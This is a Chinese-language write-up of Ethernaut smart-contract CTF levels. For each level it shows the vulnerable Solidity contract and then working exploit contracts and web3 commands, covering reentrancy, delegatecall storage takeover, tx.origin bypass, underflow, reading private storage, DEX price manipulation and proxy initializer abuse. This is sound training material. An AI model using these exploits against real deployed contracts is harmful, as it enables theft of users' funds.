Hello Ethernet
Fallback
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Fallback { mapping(address => uint256) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint256) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }}需要把owner变成我们。所以我们只需要提交一个contribute,然后发送转账即可。最后withdraw。
await contract.contribute.sendTransaction({from: player, value: toWei('0.0009')})await web3.eth.sendTransaction({from: player, to: contract.address,value: toWei("0.000001")})await contract.owner()await contract.withdraw()Fal1out
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import "openzeppelin-contracts-06/math/SafeMath.sol";contract Fallout { using SafeMath for uint256; mapping(address => uint256) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint256) { return allocations[allocator]; }}同样是取得所有权。注意到这里所有权只在Fal1out中定义。所以直接调用就可以了。
await contract.Fal1out();await contract.owner();Coin Flip
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } }}伪随机。要求在同一个block内那么就需要合约来交互。但是一次交易只能进行一次操作。
所以简单写个合约。
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "./CoinFlip.sol";contract Solve{ CoinFlip public coinFlip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor(address _coinFlip) public{ coinFlip = CoinFlip(_coinFlip); } function guessFlip() public { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool guess = coinFlip == 1 ? true : false; coinFlip.flip(guess); }}调用十次就行。
Telephone
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } }}一眼看出,tx.origin 是交易发起人,msg.sender可以是合约。
所以再来一个合约。
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface ITelephone{ function changeOwner(address _owner) external;}contract Solve{ ITelephone public phone; constructor(address _phone){ phone = ITelephone(_phone); } function solve() public{ phone.changeOwner(msg.sender); }}Token
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Token { mapping(address => uint256) balances; uint256 public totalSupply; constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }}7.4.0之前(好像)的solidity是没有数学安全检查的。所以盲猜是溢出攻击。
然后看到transfer这个函数的检查好像没用诶!所以直接这样调用就行。
await contract.transfer(contract.address,22000001)Delegation
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; }}contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } }}代理函数。当调用了Delegation.call(calldata)时,会自动往下一层Delegate中调用。所以我们只需要调用Delegation.call(”pwn()”)就可以了。
let fn = web3.utils.keccak256("pwn()")await web3.eth.sendTransaction({from: player, to: contract.address, data: fn})Force
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Force { /* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */ }什么都没有。如何通过合约向合约发送以太坊?
🙂
合约至少实现了一个payable函数,然后在调用函数的时候带eth
合约实现了一个recevie函数
合约实现了一个fallback函数
通过selfdestruct()
通过miner的奖励获得eth
所以显然是通过selfdestruct。我们只需要定义一个合约并且让他被destruct了,它的余额就能被转移到指定的地方。
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Payer { uint public balance = 0; function destruct(address payable _to) external payable { selfdestruct(_to); } function deposit() external payable { balance += msg.value; }}Vault
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }}这里private的内容,我们不能直接通过调用来查看。但是作为一个公开透明的web3网络,我们可以直接阅读storage来获得值。😈
通过await web3.eth.getCode(contract.address)可以查看字节码,于是可以通过一些网站来进行简单的decompile。https://www.oklink.com/zh-hans/decompile#bytecode=6080604052348015600f57600080fd5b506004361060325760003560e01c8063cf309012146037578063ec9b5b3a146057575b600080fd5b60005460439060ff1681565b604051901515815260200160405180910390f35b60666062366004607f565b6068565b005b806001541415607c576000805460ff191690555b50565b600060208284031215609057600080fd5b503591905056fea2646970667358221220fc7b38e6559928e1e1112f630b03a26ee6eb52d794080ecd75435ef82810dd9b64736f6c634300080c0033
但是能变成这个样子我是没想到的。
# Palkeoramix decompiler. def storage: stor0 is uint8 at storage 0 stor1 is uint256 at storage 1def locked() payable: return bool(stor0)## Regular functions#def _fallback() payable: # default function revertdef unlock(bytes32 _param1) payable: require calldata.size - 4 >=′ 32 if stor1 == _param1: stor0 = 0对比已知代码,知道stor1是byte32的password。直接获取!
let password = await web3.eth.getStorageAt(contract.address,1)await contract.unlock(password)await contract.locked()King
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract King { address king; uint256 public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; }}现在是0.001 eth。
(await contract.prize()).toString()// 0.001写一个恶意合约,把所有的transfer都revert了,就可以了。
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Solve{ address payable king; constructor(address payable _king) { king = _king; } receive() external payable { revert("Impossible!"); } function claimKing() external payable { king.call{value: 0.0011 ether}(""); }}let fn = web3.utils.keccak256("claimKing()")await web3.eth.sendTransaction({from: player, to: "0x23C628C158b4162Cd49FBF13Dd009fFDf593E3c6",data: fn, value: toWei("0.0011")})Re-entrancy
// SPDX-License-Identifier: MITpragma solidity ^0.6.12;import "openzeppelin-contracts-06/math/SafeMath.sol";contract Reentrance { using SafeMath for uint256; mapping(address => uint256) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; } function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {}}看名字就知道是重入攻击。如题:在withdraw函数中,更新记录在转账之后,转账时,如果我们构造一个恶意合约可以再次调用withdraw。从而取得所有的balance。
contract Attack { Reentrance r; uint256 amount = 0.001 ether; constructor(address payable addr) public { r = Reentrance(addr); } receive() external payable { if (address(r).balance >= amount) { r.withdraw(amount); } } function attack() external payable { r.donate{value: amount}(address(this)); r.withdraw(amount); } function withdraw() external { msg.sender.transfer(address(this).balance); }}Elevator
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface Building { function isLastFloor(uint256) external returns (bool);}contract Elevator { bool public top; uint256 public floor; function goTo(uint256 _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } }}实现一个build合约,满足调用goTo时,building.isLastFloor 先为false,再为true。
连着两次调用是反过来的。
于是
contract Building_ is Building{ Elevator public target; bool result = true; constructor(address elevator) { target = Elevator(elevator); } function isLastFloor(uint) public returns (bool){ result = !result; return result; } function attack() public { target.goTo(2); }}部署运行即可。
Privacy
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */}和之前那个一样,丢到反汇编程序里,然后直接看是哪一个storage就行。
| slot | variable | value |
| 0 | locked (1 byte) | 0x01 |
| 1 | ID (32 bytes) | block.timestamp |
| 2 | awkwardness (2 bytes) + denomination (1 byte) + flattening (1 byte) | block.timestamp, 0xff, 0x0a |
| 3 | data[0] | |
| 4 | data[1] | |
| 5 | data[2] |
所以直接取storage5就能拿到,再截取一半。
await contract.unlock((await web3.eth.getStorageAt(contract.address,5)).slice(0,34))Gatekeeper
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}就是三个过滤。
gateOne:我们用合约就能绕过。
gateTwo:爆破gas。
gateThree:
- 低位 4 bytes (32 bits) == 低位 2 bytes (16 bits)
中间2 bytes置零
- 低位 4 bytes (32 bits) != 高位 4 bytes (32 bits)
高位不置零
- 低位 4 bytes (32 bits) == tx.origin 的低位 2 bytes (16 bits)
所以相当于这个gateKey = tx.origin & 0xffffffff0000ffff
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Solve { function attack(address addr) external returns (bool) { GatekeeperOne g = GatekeeperOne(addr); bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xffffffff0000ffff; for (uint i = 0; i < 1000; i ++) { try g.enter{gas: 8191 * 3 + i}(gateKey) returns (bool result) { return result; } catch { } } return false; }}Gatekeeper Two
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint256 x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}好像这个看起来比上一个简单。gateTwo是判断caller是否为合约的方法。当然如果在constructor中调用这个函数,不会出现错误。
contract Solve { constructor(address addr) { GatekeeperTwo g = GatekeeperTwo(addr); bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff; g.enter(gateKey); }}Naught Coin
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20("NaughtCoin", "0x0") { player = _player; INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } }}不让转账。但是可以收款啊。
再来一个合约,然后transferFrom就行。当然本账户是要approve的。
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC20/IERC20.sol";contract Solve { function solve(address _token) external { IERC20 token = IERC20(_token); uint256 balance = token.balanceOf(msg.sender); token.transferFrom(msg.sender, address(this), balance); }}Preservation
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint256 _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint256 _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }}// Simple library contract to set the timecontract LibraryContract { // stores a timestamp uint256 storedTime; function setTime(uint256 _time) public { storedTime = _time; }}delegateCall时,相当于把下一个合约的代码复制到当前环境中来运行。
并且由于LibraryContract 和Preservation 代码中变量结构不同,LibraryContract中setTime调用时,实际上是修改第一个slot中的内容,即address public timeZone1Library的内容。所以可以覆盖上一个恶意合约,再次修改即可修改owner。
contract Solve { address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; function setTime(uint256 /*_time*/) public { owner = msg.sender; }}Recovery
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Recovery { //generate tokens function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); }}contract SimpleToken { string public name; mapping(address => uint256) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint256 _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); }}简单取证题。直接去找transcation中的某个带有0.001 ether的合约。https://sepolia.etherscan.io/tx/0x4204a861a00fc325d4446c80310971a8c737f85653a594bfe8f537354caaa5d0#internal
MagicNumber
10byte的合约,并且能够返回42。类似之前SCTF的某个题。放文章吧,我太菜了.jpg

大概意思是,在创建合约时,只有initalize code被执行(包括constructor,以及在evm上设置你的合约的部分代码)。
runtime code。
其实函数调用在某些decompiler中可以被看到,其实就是在主函数中判断函数签名然后跳转执行。所以可以不用考虑,直接运行就好。
下面是runtime code,刚好在10byte内完成了返回42这个操作。
PUSH1 0x2a ; store 0x42PUSH1 0x80MSTOREPUSH1 0x20 ; return 0x42PUSH1 0x80RETURN然后是一个最短initalize code。这个好像上次用过来着
PUSH1 0x0a ; copy runtime code to memoryPUSH1 0x0cPUSH1 0x00CODECOPYPUSH1 0x0a ; return the memory address of codePUSH1 0x00RETURN于是最后是这样的一串,部署并调用后即可。
0x600a600c600039600a6000f3602a60805260206080f3Alien Codex
// SPDX-License-Identifier: MITpragma solidity ^0.5.0;import "../helpers/Ownable-05.sol";contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function makeContact() public { contact = true; } function record(bytes32 _content) public contacted { codex.push(_content); } function retract() public contacted { codex.length--; } function revise(uint256 i, bytes32 _content) public contacted { codex[i] = _content; }}现在发现panoramix特别好用。直接丢进去看看

可以发现owner存放在storage 0的位置,codex,可变数组,存放在storage 1 (应该是1 往后。)
版本非常老,0.5.0的版本,没有下溢检查,可以直接让数组长度变为0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff。
然后这样就可以修改内容了。但是现在问题是,数组中slot位置未知。
查阅资料之后知道,在0x1这个位置上存放的内容,存放在slot上的web3.utils.soliditySha3(web3.utils.padLeft(web3.utils.toHex(1), 64)) 。所以直接计算0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 和上面值的差,即35707666377435648211887908874984608119992236509074197713628505308453184860937 就能得到在数组中的slot0位置。

好!于是就直接写入就好了!
await contract.revise("35707666377435648211887908874984608119992236509074197713628505308453184860938","0x0000000000000000000000012bD02c885ba7dc81960AF0e2de7b1b2bB8E58c09")Denial
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint256 timeLastWithdrawn; mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint256 amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value: amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds receive() external payable {} // convenience function function contractBalance() public view returns (uint256) { return address(this).balance; }}这里withdraw中并没有检测revert。也就是就算我们revert了,也无法终止程序。所以解决办法是写个死循环耗尽gas。此事在USTC Hackergame 2024中也有记载。
部署并设置好即可。
Shop
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface Buyer { function price() external view returns (uint256);}contract Shop { uint256 public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } }}和Elevator一样。但是这里状态的转换是走isSold这里记录的。
Dex
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";import "openzeppelin-contracts-08/access/Ownable.sol";contract Dex is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function addLiquidity(address token_address, uint256 amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint256 amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint256 swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) { return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); } function approve(address spender, uint256 amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint256) { return IERC20(token).balanceOf(account); }}contract SwappableToken is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); }}流动性池子的一个问题。当交易值过大,并且没人补充流动性时,可以通过多次反复交易,把池子中内容全部取出。(价格会被操纵)
let token1 = await contract.token1();let token2 = await contract.token2();await contract.approve(instance, 1000);await contract.swap(token1, token2, 10);await contract.swap(token2, token1, 20);await contract.swap(token1, token2, 24);await contract.swap(token2, token1, 30);await contract.swap(token1, token2, 41);await contract.swap(token2, token1, 45);Dex Two
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";import "openzeppelin-contracts-08/access/Ownable.sol";contract DexTwo is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function add_liquidity(address token_address, uint256 amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint256 amount) public { require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint256 swapAmount = getSwapAmount(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) { return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); } function approve(address spender, uint256 amount) public { SwappableTokenTwo(token1).approve(msg.sender, spender, amount); SwappableTokenTwo(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint256) { return IERC20(token).balanceOf(account); }}contract SwappableTokenTwo is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); }}这个题要求提取出token1和token2中所有余额。和上一题的区别在于,可以使用token3(即自己的代币)
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC20/ERC20.sol";contract Token3 is ERC20 { constructor() ERC20("Token3", "Token3") { } function mint(address account, uint256 value) external { _mint(account, value); } function burn(address account, uint256 value) external { _burn(account, value); }}// mint c for user and contract.let a = await contract.token1();let b = await contract.token2();let c = "0x2872B4B3b18F290062C47bA14C63dbCeF525905D";await contract.swap(c,a,1);await contract.swap(c,b,2);Puzzle Wallet
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;pragma experimental ABIEncoderV2;import "../helpers/UpgradeableProxy-08.sol";contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) { admin = _admin; } modifier onlyAdmin() { require(msg.sender == admin, "Caller is not the admin"); _; } function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; } function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; } function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); }}contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances; function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; } modifier onlyWhitelisted() { require(whitelisted[msg.sender], "Not whitelisted"); _; } function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } function addToWhitelist(address addr) external { require(msg.sender == owner, "Not the owner"); whitelisted[addr] = true; } function deposit() external payable onlyWhitelisted { require(address(this).balance <= maxBalance, "Max balance reached"); balances[msg.sender] += msg.value; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success,) = to.call{value: value}(data); require(success, "Execution failed"); } function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success,) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } }}这个题过几天再看吧,有点晕
Motorbike
// SPDX-License-Identifier: MITpragma solidity <0.7.0;import "openzeppelin-contracts-06/utils/Address.sol";import "openzeppelin-contracts-06/proxy/Initializable.sol";contract Motorbike { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; struct AddressSlot { address value; } // Initializes the upgradeable proxy with an initial implementation specified by `_logic`. constructor(address _logic) public { require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()")); require(success, "Call failed"); } // Delegates the current call to `implementation`. function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } // Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call data fallback() external payable virtual { _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); } // Returns an `AddressSlot` with member `value` located at `slot`. function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r_slot := slot } }}contract Engine is Initializable { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; address public upgrader; uint256 public horsePower; struct AddressSlot { address value; } function initialize() external initializer { horsePower = 1000; upgrader = msg.sender; } // Upgrade the implementation of the proxy to `newImplementation` // subsequently execute the function call function upgradeToAndCall(address newImplementation, bytes memory data) external payable { _authorizeUpgrade(); _upgradeToAndCall(newImplementation, data); } // Restrict to upgrader role function _authorizeUpgrade() internal view { require(msg.sender == upgrader, "Can't upgrade"); } // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. function _upgradeToAndCall(address newImplementation, bytes memory data) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { (bool success,) = newImplementation.delegatecall(data); require(success, "Call failed"); } } // Stores a new address in the EIP1967 implementation slot. function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); AddressSlot storage r; assembly { r_slot := _IMPLEMENTATION_SLOT } r.value = newImplementation; }}在motorbike中对engine初始化的过程中,由于是delegatecall,engine中的两个public变量:upgrader和horsePower都是没有被改变的。所以可以手动调用initalize,然后通过upgradeToAndCall,进行selfdestruct。
按理说上面这个合约运行一遍就能过了。但是看到了issue。新版本的evm (cancun)中,selfdestruct只能在创建合约的交易中被完成。所以只能手动完成合约的创建和删除,才能通过这道题目。直接去看这位小哥的代码吧。https://github.com/Ching367436/ethernaut-motorbike-solution-after-decun-upgrade/tree/main。